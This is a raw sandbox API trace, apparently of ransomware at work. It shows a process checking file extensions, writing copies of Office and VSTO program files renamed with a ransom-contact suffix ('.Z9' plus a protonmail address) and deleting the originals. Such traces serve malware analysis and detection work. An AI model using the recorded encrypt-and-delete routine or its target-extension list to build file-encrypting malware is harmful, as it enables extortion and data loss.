	[0091.023] lstrlenW (lpString=".xls") returned 4
	[0091.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.023] lstrlenW (lpString=".xlsx") returned 5
	[0091.023] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0091.023] lstrlenW (lpString=".ppt") returned 4
	[0091.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.023] lstrlenW (lpString=".zip") returned 4
	[0091.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.023] lstrlenW (lpString=".rar") returned 4
	[0091.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.023] lstrlenW (lpString=".bz2") returned 4
	[0091.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.023] lstrlenW (lpString=".7z") returned 3
	[0091.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString=".dbf") returned 4
	[0091.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString=".1cd") returned 4
	[0091.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString=".jpg") returned 4
	[0091.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString=".doc") returned 4
	[0091.024] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString=".docx") returned 5
	[0091.024] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0091.024] lstrlenW (lpString=".pdf") returned 4
	[0091.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString=".xls") returned 4
	[0091.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString=".xlsx") returned 5
	[0091.024] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0091.024] lstrlenW (lpString=".ppt") returned 4
	[0091.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.024] lstrlenW (lpString=".zip") returned 4
	[0091.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString=".rar") returned 4
	[0091.024] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.024] lstrlenW (lpString=".bz2") returned 4
	[0091.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.024] lstrlenW (lpString=".7z") returned 3
	[0091.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.025] lstrlenW (lpString=".dbf") returned 4
	[0091.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.025] lstrlenW (lpString=".1cd") returned 4
	[0091.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.025] lstrlenW (lpString=".jpg") returned 4
	[0091.025] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.025] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.025] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19
	[0091.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.032] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=12448) returned 1
	[0091.032] CloseHandle (hObject=0x368) returned 1
	[0091.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20
	[0091.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.032] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.032] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.034] GetLastError () returned 0x0
	[0091.034] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x30a0, lpOverlapped=0x0) returned 1
	[0091.058] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x30b0, lpOverlapped=0x0) returned 1
	[0091.060] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.061] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0091.061] SetEndOfFile (hFile=0x374) returned 1
	[0091.061] CloseHandle (hObject=0x374) returned 1
	[0091.061] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.061] SetEndOfFile (hFile=0x368) returned 1
	[0091.062] CloseHandle (hObject=0x368) returned 1
	[0091.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.062] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1
	[0091.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.062] lstrlenW (lpString=".doc") returned 4
	[0091.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.062] lstrlenW (lpString=".docx") returned 5
	[0091.062] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0091.062] lstrlenW (lpString=".pdf") returned 4
	[0091.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.062] lstrlenW (lpString=".xls") returned 4
	[0091.063] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".xlsx") returned 5
	[0091.063] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0091.063] lstrlenW (lpString=".ppt") returned 4
	[0091.063] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString=".zip") returned 4
	[0091.063] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".rar") returned 4
	[0091.063] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".bz2") returned 4
	[0091.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.063] lstrlenW (lpString=".7z") returned 3
	[0091.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString=".dbf") returned 4
	[0091.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString=".1cd") returned 4
	[0091.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString=".jpg") returned 4
	[0091.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.063] lstrlenW (lpString=".doc") returned 4
	[0091.063] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".docx") returned 5
	[0091.063] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0091.063] lstrlenW (lpString=".pdf") returned 4
	[0091.063] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".xls") returned 4
	[0091.063] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.063] lstrlenW (lpString=".xlsx") returned 5
	[0091.063] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0091.064] lstrlenW (lpString=".ppt") returned 4
	[0091.064] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.064] lstrlenW (lpString=".zip") returned 4
	[0091.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.064] lstrlenW (lpString=".rar") returned 4
	[0091.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.064] lstrlenW (lpString=".bz2") returned 4
	[0091.064] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.064] lstrlenW (lpString=".7z") returned 3
	[0091.064] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.064] lstrlenW (lpString=".dbf") returned 4
	[0091.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.064] lstrlenW (lpString=".1cd") returned 4
	[0091.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0091.064] lstrlenW (lpString=".jpg") returned 4
	[0091.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.064] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0091.064] lstrlenW (lpString="VSTOInstaller.exe") returned 17
	[0091.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.072] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=100488) returned 1
	[0091.072] CloseHandle (hObject=0x388) returned 1
	[0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20
	[0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0091.073] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.073] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.075] GetLastError () returned 0x0
	[0091.075] ReadFile (in: hFile=0x364, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x18888, lpOverlapped=0x0) returned 1
	[0091.099] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x18890, lpOverlapped=0x0) returned 1
	[0091.101] ReadFile (in: hFile=0x364, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.101] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0091.102] SetEndOfFile (hFile=0x374) returned 1
	[0091.102] CloseHandle (hObject=0x374) returned 1
	[0091.102] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.102] SetEndOfFile (hFile=0x364) returned 1
	[0091.103] CloseHandle (hObject=0x364) returned 1
	[0091.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.103] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1
	[0091.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.104] lstrlenW (lpString=".doc") returned 4
	[0091.104] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0091.104] lstrlenW (lpString=".docx") returned 5
	[0091.104] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0091.104] lstrlenW (lpString=".pdf") returned 4
	[0091.104] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0091.104] lstrlenW (lpString=".xls") returned 4
	[0091.104] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0091.104] lstrlenW (lpString=".xlsx") returned 5
	[0091.104] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0091.104] lstrlenW (lpString=".ppt") returned 4
	[0091.104] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0091.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.104] lstrlenW (lpString=".zip") returned 4
	[0091.104] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0091.104] lstrlenW (lpString=".rar") returned 4
	[0091.104] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0091.104] lstrlenW (lpString=".bz2") returned 4
	[0091.104] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0091.104] lstrlenW (lpString=".7z") returned 3
	[0091.104] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0091.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.104] lstrlenW (lpString=".dbf") returned 4
	[0091.104] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0091.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.104] lstrlenW (lpString=".1cd") returned 4
	[0091.104] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".jpg") returned 4
	[0091.105] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".doc") returned 4
	[0091.105] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0091.105] lstrlenW (lpString=".docx") returned 5
	[0091.105] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0091.105] lstrlenW (lpString=".pdf") returned 4
	[0091.105] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString=".xls") returned 4
	[0091.105] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString=".xlsx") returned 5
	[0091.105] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0091.105] lstrlenW (lpString=".ppt") returned 4
	[0091.105] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".zip") returned 4
	[0091.105] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString=".rar") returned 4
	[0091.105] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0091.105] lstrlenW (lpString=".bz2") returned 4
	[0091.105] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0091.105] lstrlenW (lpString=".7z") returned 3
	[0091.105] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".dbf") returned 4
	[0091.105] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".1cd") returned 4
	[0091.105] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0091.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0091.105] lstrlenW (lpString=".jpg") returned 4
	[0091.105] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0091.106] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.106] lstrlenW (lpString="vstoee.dll") returned 10
	[0091.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.114] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=168064) returned 1
	[0091.114] CloseHandle (hObject=0x388) returned 1
	[0091.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20
	[0091.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.114] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.114] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.920] GetLastError () returned 0x0
	[0091.920] ReadFile (in: hFile=0x388, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x29080, lpOverlapped=0x0) returned 1
	[0091.925] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x29090, lpOverlapped=0x0) returned 1
	[0091.928] ReadFile (in: hFile=0x388, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.928] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0091.928] SetEndOfFile (hFile=0x38c) returned 1
	[0091.929] CloseHandle (hObject=0x38c) returned 1
	[0091.929] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.929] SetEndOfFile (hFile=0x388) returned 1
	[0091.930] CloseHandle (hObject=0x388) returned 1
	[0091.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1
	[0091.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0091.931] lstrlenW (lpString=".doc") returned 4
	[0091.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.931] lstrlenW (lpString=".docx") returned 5
	[0091.931] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
